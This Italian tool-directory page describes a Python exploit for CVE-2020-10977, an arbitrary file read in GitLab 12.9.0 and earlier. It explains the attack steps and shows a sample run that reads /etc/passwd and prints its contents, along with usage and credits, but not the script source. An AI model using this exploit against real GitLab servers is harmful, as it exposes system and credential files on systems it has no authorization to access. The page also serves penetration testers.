Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cve-2020-10977 — GitLab 12.9.0 Lettura arbitraria di file | Kitploit
Strumenti/GitHubGitHub/thewhiteh4t/cve-2020-10977
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebRaccolta InformazioniPenetration TestingRed Teaming
GitHubthewhiteh4t/cve-2020-10977

cve-2020-10977

GitLab 12.9.0 Lettura arbitraria di file

Vedi Repository
70195 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2020-10977

GitLab 12.9.0 Lettura Arbitraria di File

Target : 12.9.0 e versioni precedenti

Testato : GitLab 12.8.1

In un recente engagement ho trovato un'istanza GitLab sul target; ho trovato un PoC su Exploit-DB, ma utilizza LDAP per l'autenticazione, che in questo caso era disabilitato, quindi ho creato questo script Python in grado di autenticarsi tramite GUI web. Come il PoC originale, creerà due progetti, un'issue in uno dei progetti con il payload dannoso, sposterà questa issue da un progetto all'altro e leggerà automaticamente il contenuto dei file.

Ho aggiunto alcune cose, ad esempio lo script chiederà un percorso assoluto che desideri leggere; dopo averne stampato il contenuto, chiederà un altro percorso e provvederà alla pulizia all'uscita. Entrambi i progetti verranno eliminati automaticamente quando si esce dallo script usando CTRL+C

root@kitploit:~
$ python3 cve_2020_10977.py http://localhost twh p4ssw0rd
----------------------------------
--- CVE-2020-10977 ---------------
--- GitLab Arbitrary File Read ---
--- 12.9.0 & Below ---------------
----------------------------------

[>] Found By : vakzz       [ https://hackerone.com/reports/827052 ]
[>] PoC By   : thewhiteh4t [ https://twitter.com/thewhiteh4t      ]

[+] Target        : http://localhost
[+] Username      : twh
[+] Password      : p4ssw0rd
[+] Project Names : ProjectOne, ProjectTwo

[!] Trying to Login...
[+] Login Successful!
[!] Creating ProjectOne...
[+] ProjectOne Created Successfully!
[!] Creating ProjectTwo...
[+] ProjectTwo Created Successfully!
[>] Absolute Path to File : /etc/passwd
[!] Creating an Issue...
[+] Issue Created Successfully!
[!] Moving Issue...
[+] Issue Moved Successfully!
[+] File URL : http://localhost/twh/ProjectTwo/uploads/5f74b01d2b58e4a57ca55e1ac8778650/passwd

> /etc/passwd
----------------------------------------

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
.
.
.
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
.
.
.
git:x:998:998::/var/opt/gitlab:/bin/sh
gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false
gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false
gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh
mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh
registry:x:993:993::/var/opt/gitlab/registry:/bin/sh
gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh
gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh

----------------------------------------

[>] Absolute Path to File : ^C
[-] Keyboard Interrupt
[!] Deleting ProjectOne...
[+] ProjectOne Successfully Deleted!
[!] Deleting ProjectTwo...
[+] ProjectTwo Successfully Deleted!

Dipendenze

root@kitploit:~
pip3 install requests bs4

Utilizzo

Registra un account sul GitLab di destinazione e usa le stesse credenziali con lo script

root@kitploit:~
$ python3 cve_2020_10977.py -h
usage: cve_2020_10977.py [-h] url username password

positional arguments:
  url         Target URL with http(s)://
  username    GitLab Username
  password    GitLab Password

optional arguments:
  -h, --help  show this help message and exit

Crediti

  • Grazie a vakzz per aver trovato questo bug in GitLab
    • HackerOne Report : https://hackerone.com/reports/827052
  • Grazie a KouroshRZ per aver creato un PoC per questo exploit
    • Exploit-DB : https://www.exploit-db.com/exploits/48431
Scarica lo strumento